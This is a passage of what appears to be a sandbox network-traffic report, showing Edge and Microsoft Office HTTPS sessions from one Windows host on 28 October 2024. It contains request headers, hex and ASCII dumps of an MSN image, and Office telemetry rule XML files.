Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	63612	18.245.113.73	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	1012	OUT	GET /b2?rn=1730137417933&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FEC05542B56D820230D57343E26C2D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=18570fffe5f4e14affde4dc1730137420; XID=18570fffe5f4e14affde4dc1730137420
2024-10-28 17:43:41 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 28 Oct 2024 17:43:40 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 140c4c43f537e849c717a1922e63b658.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P8 X-Amz-Cf-Id: 6aXTrwNzcItNK3DXdcVFOGaHVwUqOj5bkbEr4Wf0FPWcpPRxIxSIOw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	63613	23.47.50.136	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:41 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Fri, 11 Oct 2024 13:18:47 GMT X-Source-Length: 176972 X-Datacenter: westus X-ActivityId: e3dd3822-5dbf-454a-92a5-78ef6c0137aa Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=113759 Expires: Wed, 30 Oct 2024 01:19:39 GMT Date: Mon, 28 Oct 2024 17:43:40 GMT Connection: close
2024-10-28 17:43:41 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac 39 Data Ascii: J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP9
2024-10-28 17:43:41 UTC	2205	IN	Data Raw: 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c f2 Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-10-28 17:43:41 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-10-28 17:43:41 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-10-28 17:43:41 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-10-28 17:43:41 UTC	15180	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	63617	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:41 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:41 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174341Z-16849878b78j5kdg3dndgqw0vg000000071000000000estz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	63618	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:41 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174341Z-17c5cb586f6vcw6vtg5eymp4u800000003dg000000008ykz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	63620	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174341Z-r197bdfb6b4zd9tpkpdngrtchw00000004r000000000384u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	63621	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:41 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:41 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174341Z-16849878b7898p5f6vryaqvp580000000680000000004qk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	63619	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
